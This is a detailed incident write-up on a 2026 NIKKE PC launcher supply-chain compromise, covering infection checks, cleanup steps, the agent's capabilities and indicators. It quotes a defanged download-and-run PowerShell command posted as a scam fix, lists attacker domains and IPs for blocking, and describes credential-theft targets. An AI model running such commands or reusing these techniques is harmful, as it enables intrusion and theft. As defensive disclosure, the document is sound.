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NIKKE PC launcher compromise (Nov 2026): Level Infinite CDN files modified, remote-control agent, indicators

NIKKE PC launcher compromise (November 2026)

Translations: 🇯🇵 日本語 · 🇰🇷 한국어 · 🇨🇳 简体中文 · 🇹🇼 繁體中文 · 🇹🇭 ไทย · 🇻🇳 Tiếng Việt · 🇮🇩 Bahasa Indonesia · 🇫🇷 Français · 🇩🇪 Deutsch · 🇪🇸 Español · 🇧🇷 Português (Brasil) · 🇷🇺 Русский · 🇵🇱 Polski · 🇹🇷 Türkçe · 🇮🇹 Italiano

Caution

From 2026-09-27, four official JavaScript files on Level Infinite's CDN contained attacker code. The NIKKE PC launcher loads these files. From Oct 23 at the latest, opening the launcher could install a remote-control agent: while the launcher was open, the attacker could run any command on your machine, read any file and take screenshots.

Do not run commands or programs posted in the comments by anyone other than the author of this write-up (MotherSphere). Get nikke-check only from its releases page and the launcher only from Level Infinite.

Warning

Before you open the launcher or start the game again, even on a PC that seems clean:

  1. Run NIKKE Launcher Check and save its report, or copy Launcher\intl_service\debug.log, the Launcher\log\ folder and %APPDATA%\nikke_launcher\tbs_cache (nikke_launcher_hmt or nikke_launcher_google for the other builds). Those files show whether the agent ran. According to Level Infinite, since Nov 4 at 23:00 GMT (Nov 5 08:00 UTC+9) the official PC client checks for this malware at launch and, if you agree, deletes the related logs, DLL files and registry entries. Level Infinite's follow-up notice and manual check instructions are summarized in Level Infinite's notices of Nov 4.
  2. Then delete the cache folder %APPDATA%\nikke_launcher\tbs_cache (nikke_launcher_hmt for the HMT launcher, nikke_launcher_google for the Google Play Games build; inside your prefix on Proton). It can still hold the modified files, and the launcher would load them again.
  3. Keep the domains and IPs listed in What to do blocked. How the attacker got write access to the CDN is still unknown. insightjs.com has been suspended by its registrar since Nov 5 at 02:05 GMT and no longer resolved when checked at 09:09 GMT, but a suspension can be lifted.

Tip

Check your PC with NIKKE Launcher Check. This program looks for the traces of the attack on Windows, Linux or macOS and tells you, in your system language, whether the agent reached your PC and what to do. It only reads files and sends nothing off your PC. Run it before you delete tbs_cache and before you open the launcher or start the game again: the cache holds some of the traces, and the launcher's malware check can delete others (see Level Infinite's notices of Nov 4).

Download the latest version

To share logs, a bug or a new detail, open an issue on the repository. The author of this write-up handles them there. Remove the tokens and cookies from launcher logs first (see Check if you are infected).

This report comes from one infected machine, plus findings from other victims posted in the comments. The payload was analyzed statically and never executed. Everything below was checked against the downloaded files, the launcher's logs and caches, the decompiled payload and the live servers. Findings from the comments are marked as reported when they could not be checked here.

Last updated: 2026-11-09, 16:54 GMT.

Corrected in this update:

  • The persistence DLL's compile time is 18:52:01 UTC, not 19:52:01 (stew-iwnl).
  • The report in nikke-check issue #25 that the updated launcher deleted debug.log, stopped writing it and wrote new encrypted logs was wrong. Its reporter corrected it on Nov 7.
  • Parts of the persistence DLL were disassembled (nikke-check issue #32). /px/ only sends, and the DLL does nothing in programs other than Chrome.
  • The date of the Nov 7 23:32 update in this history.

Added in this update: more programs seen holding the DLL (whykusanagi).

Update history
  • Nov 8, 00:05 GMT: a first static look at the persistence DLL, from a copy sent by dyliecious (nikke-check issue #32).
  • Nov 7, 23:32 GMT: a ninth known upload of the agent, 6ae4f146 (Oct 30 19:34:30 GMT), the earliest 205,135-byte build so far, served to one PC that evening with an agent run (reported).
  • Nov 7, 12:51 GMT: the persistence DLL also loads in other programs (Steam, Alt1 Toolkit and Jagex Launcher on one PC, nikke-check issue #32), and its folder name was its own SHA-256 on two PCs; two payload uploads with the same bytes (nikke-check issue #33); l.js most likely waits about 15 seconds for the payload; the launcher creates psd.dat only at a sign-in with "stay logged in" checked (Randomrandom3045); the launcher update leaves the loader traces in tbs_cache in place (Libbbbs); a leftover k2f-bcreds copy; Norton blocking a password read on two PCs; firewall profiles switched off by a tuning tool, blocking and SRUM under a TUN proxy, and Huorong's traffic table and logs (Iwassoobsessedwith); a warning against commands posted in the comments. Corrected: when the payload file is deleted, what TransportSecurity stores, what whoami, sysinfo and host_facts return, when startup already in progress appears and the analyzed machine's time for it, the time of the s2c_counter value, the pre-attack date of FeedList.feb647c9.js, and the crt.sh count.
  • Nov 5, 14:39 GMT: Level Infinite's follow-up notice and manual check instructions, compared with the evidence here; according to Level Infinite, the official PC client has checked for the malware at launch since Nov 4 at 23:00 GMT, and this check can delete evidence; a report that the updated launcher deleted debug.log on one clean install (abominablemrtetanus; wrong, corrected by the reporter on Nov 7); insightjs.com suspended by its registrar on Nov 5 at 02:05 GMT; the .org fallback is also in the modified aegis-fix.min.js and images.7fec4c32.js; a fake cleanup command posted in the comments; what the NTFS change journal shows (Iwassoobsessedwith).
  • Nov 4, 23:18 GMT: browserscan takes cookies only from the Chromium browsers and most likely skips Opera GX; the Google Play Games build was hit too (nikke-check issue #11, Diamond-Dragon, zbeosf); launches that log startup failed: EIO: invalid UTF-8 in string (nikke-check issues #16 and #21); the Code Cache loader entries hold no script, and the HTTP cache is gzip-encoded (Iwassoobsessedwith); the Nov 4 launcher front-end and the DNS state on Nov 4 at 22:59 GMT; the modified aegis-fix.min.js hash and the sg-gpts URLs (cliff101); Malwarebytes detection names (DylanChusday); nikke_launcher.exe in SRUM (Zavodskyja); a third report of build 6ae78037 (ImDanny39); the agent has no scheduled-task, Run-key or service code.
  • Nov 4, 12:11 GMT: Level Infinite's statement on X (Nov 4 03:13 GMT) and new advice: clear the launcher cache before you open it again; all four CDN files clean on every server checked at 11:20 GMT, after the last servers took the clean FeedList.feb647c9.js between 03:12 and 03:21 GMT, and a urlscan.io scan that still got the modified copy at 00:48 GMT (tatsu-t); replacement times per host; clean file sizes corrected by one byte, and clean SHA-256 values; the domain was used from 2017 to 2022 by an earlier owner, and its new server answered on Sep 27 at 04:08 GMT (tatsu-t); two more payload ETags (Kallontz, v3s9er) and the Oct 23 build, 165,108 bytes, left on disk as k2f.lua (zbeosf); the Oct 23 temp file names and poll setting (zbeosf); how many k2f-bcreds files one run leaves (Lirikana); how to tell a failed payload download from a finished one (AdamCKW); what to remove before you post launcher logs (SoloAnnonAnnon); the agent record can sit in a compressed .ldb table; what HSTS sts_observed means (neutralnikke); the launcher manifest requests administrator rights (supermagicianck); the HKLM copy of the CLSID can be missing on stripped-down installs (lttchan); not every infected PC shows a first-collection jump in SRUM; a launcher telemetry POST that names analytics.insightjs.com; the earliest reported loader lookups, Sep 30 (TijuanaFlow, AdamCKW); no other game's launcher is known to have loaded the loader (Iwassoobsessedwith).
  • Nov 4, 02:00 GMT: a DNS log can miss the agent's lookups when the PC also has a second DNS server (luminesce01); an insightjs.com lookup on Oct 5 07:09 GMT (luminesce01); an older build still served on Nov 1 at 18:03 (axm2).
  • Nov 4, 01:10 GMT: a fifth payload build, Nov 3 12:31:04 (vvs); the earliest reported agent start is now Oct 23 16:40 GMT (zbeosf).
  • Nov 4, 00:45 GMT, corrected: creds decrypts the NIKKE login that the launcher saved, not Windows Credential Manager (keyscan reads Credential Manager, for developer-tool entries only); wallet_files only reads Chrome's profiles; Korean translation added.
  • Nov 4, 00:30 GMT: 1984 ehf told a reporter that it shut down 89.127.233.127 (seth12619); how to measure what was sent with SRUM (rnikontas, asyadayo); what the agent does on its own and what the server decides.
  • Nov 3, 22:40 GMT: the Chrome DLL can be installed without Chrome (checked in the code); a second attacker IP, 89.126.250.172, used until about Oct 21 (D-Maledicte); a fourth payload build, Nov 2 17:48:47 (malevolenttortoise, Iwassoobsessedwith); all agent traffic goes through the launcher's embedded browser; startup already in progress is not a reliable sign either way.
  • Nov 3, 20:40 GMT: a fourth modified file, vue-bucket.min.js (mikansubre); agent starts from Oct 24, not Nov 1 (malevolenttortoise, CuauhtliHC); at least three builds of the payload (neutralnikke, confirmed here); what the Chrome DLL does and why it must be removed after a restart (cheejordan).
  • Nov 3, earlier in the day: a third modified file, FeedList.feb647c9.js (found by RichyRich515 and Enerccio in the comments, confirmed here); the payload served earlier than Nov 2-3; debug.log is appended to, not overwritten on each launch; collect_cookies: false does not mean cookies were safe.
  • Earlier corrections: the PlatformExperienceHelper folder itself is normal Chrome (only a 64-hex subfolder with the DLL is malicious), and onominan.tmp is not a malware marker.

Contents

  1. Summary
  2. Check if you are infected
  3. What to do
  4. What the attacker can do on an infected machine
  5. Linux and Steam Deck (Proton)
  6. Technical details
  7. Infrastructure
  8. Indicators of compromise
  9. For Level Infinite
  10. NIKKE launcher payload: every target path (target-paths.md)

Summary

Entry point Four official files on Level Infinite's CDN (playerinfinite.com, Tencent COS), modified on 2026-09-27
What it is A remote-control agent: command execution, file access, screenshots, theft of passwords, browser cookies, tokens, SSH keys and crypto wallets
Who is at risk Anyone who opened the NIKKE PC launcher from Oct 23 (at the latest) until the fix, on Windows or on Linux / Steam Deck through Proton, and anyone whose launcher still uses the modified files from its cache or from a stale CDN server. The Google Play Games build was hit too. It installs to C:\NIKKE_GOOGLE, runs Launcher\nikke_launcher_google.exe and keeps its data in %APPDATA%\nikke_launcher_google (nikke-check issue #11, Diamond-Dragon and zbeosf in the comments, reported). Level Infinite asks everyone who opened the Windows PC launcher at least once since Sep 27 at 15:41 UTC+9 (06:41 GMT) to check their PC, and says the mobile game was not affected
Payload active since Oct 23, 2026 at the latest, and only on some launches (one machine got it on 3 of about 19 launches). The earliest agent start reported in the comments is Oct 23 at 16:40 GMT (zbeosf), about an hour after the Oct 23 15:37 certificate. The loader has been in place since Sep 27
Persistence On Windows, a DLL registered in the user's registry so that Chrome loads it, and it keeps running after the launcher is closed. Installing it does not need Chrome. In Chrome it reads passwords typed in web pages and takes crypto wallet passwords, recovery phrases and private keys (checked in its strings, see Stage 3). Other programs can load it too: Steam's steamwebhelper.exe, Alt1 Toolkit and Jagex Launcher on one PC (nikke-check issue #32, reported), Spotify.exe, EADesktop.exe, NVIDIA Overlay and ChatGPT.exe on whykusanagi's PC (reported). It checks which program loaded it and does nothing outside Chrome (disassembly, nikke-check issue #32). The agent has no code for scheduled tasks, Run keys, services, WMI or the Startup folder, so anything there would have to come from exec

Level Infinite confirmed a fix on X (@NIKKE_en, Nov 4 03:13:58 GMT). The statement says the PC launcher's script files may have been tampered with by a third party, and that client fixes and an update went out around 02:30 UTC+9 on Nov 4 (17:30 GMT on Nov 3). It said the impact was being investigated and that follow-up measures would come in a separate notice. It named no files, did not describe the payload and gave users no steps. On the CDN:

  • aegis-fix.min.js, vue-bucket.min.js and images.7fec4c32.js were replaced on Nov 3 between 17:04 and 17:23 GMT.
  • FeedList.feb647c9.js has been clean at the origin since Oct 28. The last CDN servers with the modified copy took the clean one on Nov 4 between 03:12 and 03:21 GMT.
  • All four files were clean on the four CDN servers checked on Nov 4 at 11:20 GMT.
  • Since Nov 4 the launcher loads a rebuilt front-end (nikke.c2f24fe0.js, images.64d80e3e.js, video-js.c239e58d.js, aegis-fix.min.js?t=20261104, vue-bucket.min.js?v=20261104, checked on a fresh install). FeedList.feb647c9.js kept its URL.

None of this undoes anything on machines that were already infected. At 23:08 GMT on Nov 4 Level Infinite published a follow-up notice with its own timeline, and at 23:11 GMT separate manual check instructions (times reported by Iwassoobsessedwith). According to the notice, the official PC client has checked for the malware at launch since 23:00 GMT (see Level Infinite's notices of Nov 4).

Still open:

  • How the attacker got write access to the CDN. Level Infinite's notice says a third party took over insightjs.com but does not explain how files on Level Infinite's CDN were changed.
  • Old files in launcher caches. FeedList.feb647c9.js kept its URL in the Nov 4 front-end, which is one reason to still delete tbs_cache.
  • The start of distribution. Level Infinite's notice gives Oct 30 at 03:52 UTC+9 (Oct 29 18:52 GMT), six days after the earliest agent start reported in the comments (Oct 23 16:40 GMT), and agents had also started on Oct 24 (reported). On one PC the NTFS change journal shows more than 20 launches from Oct 15 to Nov 2 without a payload download, then two downloads, on Nov 2 at 23:36 and Nov 3 at 10:58 GMT (Iwassoobsessedwith, reported). That fits a payload served on some launches only, and it does not change the earliest reported start, Oct 23.
  • insightjs.com has been suspended by its registrar since Nov 5 at 02:05 GMT, and a suspension can be lifted.

The list of "all Tencent games hacked" that circulates goes back to one anonymous 4chan post with no artifact, and no other launcher is known to have loaded the loader (Iwassoobsessedwith). The same CDN hosts serve other Level Infinite web properties, so the attacker could have reached them, but there is no evidence that they did.

Level Infinite's notices of Nov 4

On Nov 4 Level Infinite posted an apology image on X at 23:01 GMT, a follow-up notice at 23:08 GMT and manual check instructions at 23:11 GMT (the apology and the three times are reported by Iwassoobsessedwith; the texts of both notices were checked here). On nikke-en.com both notices are dated 2026.11.05, the date in UTC+9.

The follow-up notice gives this timeline in UTC+9, with GMT added here:

UTC+9 (GMT) Level Infinite's notice Evidence here
Sep 27 10:59 (01:59) A third party took over insightjs.com, which the notice calls an open-source domain used by some game services The domain was registered again at 01:59:19 GMT after it had lapsed (see Infrastructure)
Sep 27 15:41 (06:41) The launcher script files were partly tampered with through that domain The four modified files on Level Infinite's CDN have Last-Modified times from 06:41:40 to 06:42:03 GMT. The notice does not explain how a domain takeover changed files stored on Level Infinite's CDN
Oct 30 03:52 (Oct 29 18:52) Distribution of the malicious program began Earlier: an agent start on Oct 23 at 16:40 GMT and the Oct 23 build left as k2f.lua (zbeosf), agent starts on Oct 24 with the payload saved as k2f.lua, and k2f.agent.state records with the server's Oct 23 and Oct 24 poll settings (all reported). The persistence DLL was compiled in that minute (see Stage 3)
Nov 4 about 00:00 (Nov 3 about 15:00) Anomalies detected, investigation started First public warning on the NIKKE community Discord at 16:11 GMT
Nov 4 02:04-02:23 (Nov 3 17:04-17:23) Three files replaced Matches the Last-Modified times of the clean files
Nov 4 12:09 (03:09) CDN cache refreshed for the remaining modified file The four CDN servers checked took the clean FeedList.feb647c9.js between 03:12 and 03:21 GMT

According to the notice, from Nov 5 at 08:00 UTC+9 (Nov 4 23:00 GMT) the official PC client checks for the malware at launch. The notice says to close every browser, Chrome included, before you start the official PC client. If the check finds the malware, a pop-up asks before the related logs, DLL files and registry entries are deleted. The notice asks affected players to report losses to customer support, but the deletion also removes evidence they may need for that report.

So before you open the launcher or start the game again, even on a PC that seems clean, save a nikke-check report or copy Launcher\intl_service\debug.log, the Launcher\log\ folder and tbs_cache (in %APPDATA%\nikke_launcher, nikke_launcher_hmt or nikke_launcher_google). After the check has deleted files, a missing debug.log proves nothing, and a nikke-check result of "No traces found" is weaker evidence.

Earlier versions of this write-up said that on a clean install that one player moved to an older laptop, the updated launcher deleted Launcher\intl_service\debug.log without a pop-up, stopped writing that file and wrote new log files that look encrypted (abominablemrtetanus, nikke-check issue #25). All three were wrong. The reporter corrected it on Nov 7 (issue #25 comments of 2026-11-07 18:22 and 2026-11-09 10:05 GMT):

  • The file was locked or being written when they first looked. debug.log is still there, 98,336 KB, last written Nov 5 at 02:46.
  • The launcher appended lines to it on Nov 5 from 02:31 to 02:46. They are ordinary launcher console output ([js-bridge], [BgVideo][Login]), so the updated launcher still writes debug.log.
  • The encrypted logs are not new. app.IntlService.20261030-223119-887.log and app.nikke_launcher.20261030-223117-631.log, from before the update, are encrypted, and so are all 376 TinyDL.* logs from Feb 2023 to Oct 30, 2026. The tinyget logs are plain text. tinyget.20261105-023103-784.log (9 KB) is the only new tinyget log from that run, far too small to hold a payload.

The notice also says that DLL files left behind because a browser was still open can no longer run. In the analyzed build, chrome_install writes the DLL and the HKCU CLSID InprocServer32 value, and sets up no other way to load it (checked in the code). That value is meant to make Chrome load the DLL (no report has yet shown chrome.exe with it loaded). Any other 64-bit program running as that user that asks Windows for the same Parental Controls component loads it too, but the DLL then returns without starting anything: it only runs in chrome.exe with chrome.dll loaded (see Stage 3). Once that key is gone, nothing that build installed makes a program load the file again. A process that loaded it earlier can keep it loaded after its last window is closed (see If you are infected), so restart Windows, then delete the 64-hex subfolder.

The manual check instructions give these steps, most of them also in Check if you are infected and What to do:

  1. Close the game, the launcher and Chrome, and disconnect from the network.
  2. Search debug.log for k2f_chan registered.
  3. Delete the HKCU CLSID key, restart, then delete only the 64-hex subfolder that holds platform_experience_helper.dll.
  4. Delete a 205,135-byte tinyget.<date>-<time>.log file from Launcher\log\tinyget.
  5. Delete %APPDATA%\nikke_launcher\tbs_cache.
  6. Change passwords and replace API keys and tokens, from another device or after the check.
  7. Run a full antivirus scan and Microsoft Defender Offline.

According to the instructions, a log without k2f_chan registered does not fully rule out a risk, and the incident was limited to the PC launcher and did not affect the mobile game. They do not cover %APPDATA%\nikke_launcher_hmt and %APPDATA%\nikke_launcher_google (their debug.log example does include C:\NIKKE_GOOGLE), and their 205,135-byte rule misses the Oct 23 build (k2f.lua, 165,108 bytes, reported by zbeosf).

The notice says Level Infinite is reviewing its network security, including the CDN, to find out how the launcher files were changed. The measures Level Infinite plans are a review of security practices for the PC launcher and its data, monitoring that detects unauthorized file changes early, integrity checks for the external resources the launcher loads, and a review of the permissions of each launcher feature.

Check if you are infected

NIKKE Launcher Check does most of these checks for you. The steps below are the manual way.

  1. Open your NIKKE install folder.
  2. Open Launcher/intl_service/debug.log in a text editor.
  3. Search for k2f_chan.

If you find it, the agent ran on your machine, even when the adopted or resuming line after it is missing (that line comes from l.js once the server answers). An infected log looks like this:

"lua downloaded to log\tinyget\tinyget.<timestamp>.log"   (log\tinyget\k2f.lua on early runs)
"k2f_chan registered"
"adopted <uuid>"
"agent started as <your computer name>"

A launch can also log startup failed: EIO: invalid UTF-8 in string right after k2f_chan registered, with no adopted, resuming or agent started as line (nikke-check issues #16 and #21, reported). The cause is in the agent's code (checked): sysinfo reads the Windows user name with os.getenv("USERNAME"), which returns a non-ASCII name in the ANSI code page. The JSON encoder rejects it, and the k2f_chan handler returns the error as EIO.

With no adopted line, that launch most likely stopped before the agent got an ID. The l.js that did this was never captured, so what it did next is unknown. k2f_chan still means the agent was downloaded and ran, and the steps in If you are infected apply.

Launcher/log/tinyget/tinyget.*.log also records the download of https://analytics.insightjs.com/comm/assets/insight.bundle. The AddTask line for insight.bundle is only the request.

  • The download finished only if a later line for the same task shows curl perform success and OnDownloadResult ... result=0 ... total=205135 (or another non-zero total).
  • A request that logs curl_error, result=2 and total=0 failed, and the agent did not arrive from it (AdamCKW, checked against the logs here). nikke-check 0.4.0 and earlier reported such failed attempts as downloads; 0.4.1 fixes that.

Some launches also log startup already in progress while the payload download is under way, including one where the agent most likely never loaded (nikke-check issue #33), but several infected runs do not, so search for k2f_chan registered.

If the payload file is gone, the NTFS change journal can still show it. The launcher writes the download as tinyget.<time>.log.cdt and renames it to .log when it finishes. Once the payload has been loaded, the file is gone within seconds: 207 ms after the download on one PC, about a second after it on another (nikke-check issue #32), about 4 seconds after the agent started on a third (all reported). The agent's payload_cleanup command deletes it when the server asks, but on the first two PCs it was gone sooner than any server command has been seen to arrive (the earliest, chrome_install, came 3 seconds after the start), so the launcher or l.js most likely deletes it once it is loaded. On a PC where l.js logged startup failed: lua download timed out before the download finished, the agent most likely never loaded and the 205,135-byte file stayed in Launcher\log\tinyget (nikke-check issue #33, reported).

The journal keeps the create and delete records, and also those of the %TEMP%\k2f-bcreds-*.db copies. To list the records without changing anything, run this as administrator, with D: replaced by the letter of the drive that holds NIKKE, then run it again with C: for %TEMP%:

fsutil usn readjournal D: csv

The journal has a fixed size and drops its oldest records when it is full: on one PC the C: journal only went back three days. Check the date of its oldest record before you take an empty result to mean that no payload arrived (Iwassoobsessedwith, reported).

A secondary sign is in tinyget.mem.log: a POST to na.fleetlogd.com (the launcher's own telemetry) with Referer: https://analytics.insightjs.com/. On the analyzed machine it was sent 0.41 s after the finished insight.bundle download, just before k2f_chan registered.

Before you post launcher logs, remove the Cookie lines and the values of login_ticket, biz_ticket, uid, openid and sig. They sit in tinyget.mem.log and on the launcher's API request lines in the dated tinyget logs. The insight.bundle lines hold none of them, but their path= field can show your Windows user name (SoloAnnonAnnon, checked).

Two quick checks outside debug.log:

  • The loader entries in %APPDATA%\nikke_launcher\tbs_cache\Code Cache\js\ (or the same folder under nikke_launcher_hmt or nikke_launcher_google) have the same file names on every machine (dd65fa4d61079e7e_0 aegis, ce2fd3f1007a9fe9_0 images, 1416c638b3830103_0 feedlist, fd520c7c0f65c2d7_0 vue). These entries hold no script, only the key, a timestamp and a short marker (about 200 bytes on the analyzed machine), and the timestamp shows when that loader last ran.
  • In DNS or router logs, a lookup of insightjs.com means the loader ran, while a lookup of analytics.insightjs.com most likely means the agent stage was reached. A DNS log only sees the lookups sent to it: on one infected PC that also used an IPv6 DNS server from the router, the Pi-hole log had no analytics.insightjs.com at all (reported), so a log without it does not rule out the agent.

The launcher appends to debug.log: on the analyzed machine it held all 9 launches from Oct 29 to Nov 3. The updated launcher still writes to it (nikke-check issue #25, reported). It is gone if the NIKKE folder was deleted or reinstalled, and Level Infinite's malware check deletes logs when you agree to its pop-up. FETCH_LIST suc success lines come from the normal FeedList module and appear on clean launches too, so they are not a sign.

The agent also saves its state in the launcher's Local Storage, outside the NIKKE folder: search the files in %APPDATA%\nikke_launcher\tbs_cache\Local Storage\leveldb\ (and the same folder under nikke_launcher_hmt and nikke_launcher_google) for k2f.agent. A plain text search can miss the record once LevelDB moves it into a compressed .ldb table, so a hit counts, but no hit is weaker evidence. nikke-check 0.4.1 reads those tables. On Windows, also check for the persistence files listed in What to do.

tbs_cache\TransportSecurity stores each host as the base64 SHA-256 of its name in DNS wire format (each label preceded by its length, ending with a zero byte), so a text search for insightjs finds nothing there. analytics.insightjs.com is stored as wxL1BeG57AG6frvPqS7txqpE3NyN0/fSUZHCbEn9NSw= and insightjs.com as JeFWywdZy+3jPC93e3P7ACdJ8liQHB7rH+9VHn7kswg= (computed here). If one of them is there, its sts_observed time is the last time the launcher's browser received and saved an HSTS header from that host, not the first contact. For analytics.insightjs.com it is usually the latest agent check-in. The apex time can lag: on the analyzed machine it stayed at the Nov 2 launch although the loader ran again on Nov 3. The libcurl download of insight.bundle does not write this file (neutralnikke, checked on the evidence here).

What to do

Everyone

  1. Save the evidence, then delete the launcher cache. Level Infinite confirmed a fix on Nov 4 (statement in the Summary), but the cache folder %APPDATA%\nikke_launcher\tbs_cache (%APPDATA%\nikke_launcher_hmt\tbs_cache for the HMT launcher, %APPDATA%\nikke_launcher_google\tbs_cache for the Google Play Games build; inside your prefix on Proton) can still hold the modified files, and the launcher would load them again. Delete it before you open the launcher again.

    Do the checks in Check if you are infected first, or copy tbs_cache, Launcher\intl_service\debug.log and the Launcher\log\ folder somewhere safe. tbs_cache holds the k2f.agent.state and HSTS traces that show whether the agent ran. According to Level Infinite, since Nov 4 at 23:00 GMT the official PC client checks for the malware at launch and, if you agree, deletes the related logs, DLL files and registry entries, so do this before you open the launcher or start the game again.

    Malwarebytes now reports two of the traces in tbs_cache as Trojan.Loader.K2F (the Code Cache loader entry) and Trojan.Trace.K2F (the Local Storage file with k2f.agent.state) (DylanChusday, reported). Removing them removes evidence and undoes nothing, so run the checks or copy tbs_cache first.

    Loader traces were still in tbs_cache after the updated launcher had run: nikke-check still found the loader on Libbbbs's PC, and one player's post on X shows Malwarebytes flagging four Trojan.Loader.K2F entries after the update (both reported). So updating the launcher does not by itself clear them, and no report yet shows whether the Local Storage record survives the update.

  2. Keep these blocked in your hosts file, router or firewall:

    insightjs.com
    analytics.insightjs.com
    insightjs.org
    89.127.233.127
    89.126.250.172
    

    insightjs.com has been suspended by its registrar since Nov 5 at 02:05 GMT and no longer resolves, but a suspension can be lifted, and the IP blocks do not depend on DNS. Blocking only stops the known domains and addresses. How the attacker got write access to Level Infinite's CDN is still unknown, so they may be able to try again with a new domain.

    A Windows Firewall rule only works while the firewall profile of the network in use is on, and tuning or "debloat" tools can switch the profiles off: ZyperWin++ did on one PC (Iwassoobsessedwith, reported). This PowerShell command should show True for all three profiles, unless another firewall has replaced Windows Firewall, in which case put the block rules in that firewall:

    Get-NetFirewallProfile -PolicyStore ActiveStore | Select-Object Name, Enabled

    With a proxy such as Clash or mihomo in TUN mode, the proxy resolves names and opens connections itself, so firewall rules on the IP addresses and DNS blocks on the router may not apply: also add the domains and IPs as reject rules in the proxy's own configuration.

  3. Do not run fix commands or programs that other people post in the comments. On Nov 5 a comment on this gist, from an account that GitHub no longer shows, told readers to paste a PowerShell command into an administrator terminal: iex (irm kernelscv[.]cfd?t=nikke) (brackets added here so that it does not run as is). That command downloads a script from kernelscv[.]cfd, a domain registered on Oct 23, 2026 that does not appear in this attack's files or infrastructure, and runs it with administrator rights.

    The indicators that comment listed (45.153.*:4444, nikke_bootstrap.dll, NikkeUpdate, NIKKE_Helper) are not part of this attack. If you ran it, treat the PC as compromised by that script and reinstall Windows. No real fix for this incident asks you to run iex (irm ...).

If you are infected

Important

If debug.log contains k2f_chan, the agent ran on your PC, and while it was active the attacker could run any command your user account can run. Follow the steps below in order, and change passwords only from a clean device. A clean antivirus scan does not mean the DLL is gone.

  1. Close the launcher, or disconnect from the internet, so the attacker loses access.

  2. On Windows, remove the persistence in this order:

    1. Delete this key if it exists. If it exists with an empty default value, delete it anyway: that is what the agent's own chrome_uninstall leaves behind.
      HKCU\Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}
      
      The same CLSID exists under HKLM on most Windows installs and in Wine prefixes, pointing to wpc.dll (WindowsParentalControls); stripped-down installs may not have it. Leave it. Only the HKCU copy is malicious.
    2. Restart Windows. The DLL stays locked while any program has it loaded. On one PC it stayed locked after every chrome.exe process had ended, and on another PC Steam, Alt1 Toolkit and Jagex Launcher had it loaded (nikke-check issue #32; both reported). On whykusanagi's PC, Spotify.exe, EADesktop.exe, NVIDIA Overlay and ChatGPT.exe held it (reported). In those programs it was loaded but did not run (see Stage 3).
    3. Open this folder and delete any subfolder whose name is a 64-character hex string and that holds platform_experience_helper.dll:
      %LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper\
      
      Do not delete the whole folder: Chrome creates PlatformExperienceHelper itself for its own platform_experience_helper.exe and an empty LoadFeatures file, so the folder on its own is normal.

    Microsoft Defender Offline did not detect the DLL on one machine (signatures 1.463.110.0). Reinstalling Windows is the safest option, because the attacker could run any command while the agent was active.

  3. From a clean device, change your passwords: NIKKE / Level Infinite first, then email, Discord, banking and every password saved in a browser. Turn on two-factor authentication.

  4. Log out of all sessions (Discord, Google, Steam, GitHub and others). The agent can steal browser cookies, which work without your password.

  5. Revoke and regenerate API tokens, SSH keys and any developer credentials (GitHub, npm, AWS, OpenAI, Anthropic and others).

  6. Move crypto wallet funds to a new wallet with a new seed phrase.

What the attacker can do on an infected machine

The agent is a remote-access tool. While the launcher is open, the operator can send it these commands:

Command Effect
exec Runs any program or shell command and returns the output
ls, cd, cat, download, file_chunk Browse folders and download any file
screens Screenshot of every monitor
creds Decrypts the NIKKE account and password that the launcher saved in psd.dat and last_user.dat (%APPDATA%\nikke_launcher, %APPDATA%\nikke_launcher_hmt). The launcher creates psd.dat only at a sign-in with "stay logged in" checked, and does not delete it when the option is turned off later, even after another account signs in. Whether the launcher then removes the password from the file is not known (Randomrandom3045, reported). Without psd.dat, creds most likely gets the account name but no password. It does not read %APPDATA%\nikke_launcher_google, but cat and download can copy last_user.dat from any of the three folders
browserscan Saved passwords from Chrome, Edge, Brave, Vivaldi, Opera and Firefox. Cookies, unless collect_cookies is false, from the Chromium browsers only: from Firefox it takes only logins.json and key4.db. Its Opera folder is %APPDATA%\Opera Software\Opera Stable only, so Opera GX is most likely skipped. It has no reader for password-manager extensions. cat and download can still copy Firefox cookies, an Opera GX profile or a password manager's extension data. On two PCs Norton reported that it blocked nikke_launcher.exe, the process the agent runs in, from reading the passwords saved in Chrome: on Nov 1 (buce1874-boop) and on Nov 2 (a player's post on X, since deleted), both by the PC's clock (reported)
chrome_scan Lists Chrome installs, profiles and extension IDs
keyscan Reads 264 known credential and config file paths and scans them for secrets. Also reads Windows Credential Manager entries of developer tools (git:, gh:, npm:, docker:, aws:, azure:, vscode: and others)
wallet_files Data from 28 crypto wallet extensions, in Chrome's profiles only (wallets in other browsers can still be copied with download)
whoami, sysinfo, host_facts Computer name, user, SID, privilege level, Windows build, CPU, RAM, drives and uptime
chrome_install Installs the Chrome DLL persistence
chrome_cleanup, chrome_uninstall, payload_cleanup Remove traces

exec alone means the operator can do anything your user account can do: install other malware, read any document or change files. The other commands are shortcuts.

The Lua agent does nothing on its own. It registers k2f_chan with the launcher's comm_center and then only answers open, read, write, ping and close requests. Every command comes from the server through l.js.

Victim data shows that the first commands arrive within seconds of the agent starting: on two PCs the Chrome DLL was written 3 seconds after the start (cheejordan and nikke-check issue #32), and the launcher's embedded browser sent about 0.9 MB and 16.6 MB in the hour of the start on two machines (reported, SRUM). On several machines a first collection ran within minutes of the start (one sent 4.85 MB in a 25-minute session, cheejordan, reported; another about 1.2 MB in its first five minutes, nikke-check issue #9, reported), but at least one infected PC showed no jump, so a normal SRUM hour does not rule out the agent.

On another PC the NTFS change journal shows four %TEMP%\k2f-bcreds-<unix time>-<random>.db copies created and deleted in one second, 8 seconds after the payload started. The Unix time in their names, 1793662591, is that same second (2026-11-02 23:36:31 GMT), so browserscan ran within seconds of the start. A second run on that PC, on Nov 3 at 10:58 GMT, left none (Iwassoobsessedwith, reported). Firefox's key4.db and logins.json are read in place without a copy (checked in the code of the analyzed build), so reading them leaves no k2f-bcreds file. Missing temp files or a collect_cookies: false config do not mean nothing was taken either.

whoami reports the launcher's integrity level and whether it runs elevated. supermagicianck reports that nikke_launcher.exe 0.0.6.841 (signed by PROXIMA BETA PTE. LIMITED) has requireAdministrator in its manifest, so the agent runs elevated and its SYSTEM-token path for Chrome and Edge app-bound encryption can work. On a PC where a standard user typed another account's administrator password, also check that account's %APPDATA%\nikke_launcher, %TEMP% and HKCU CLSID key.

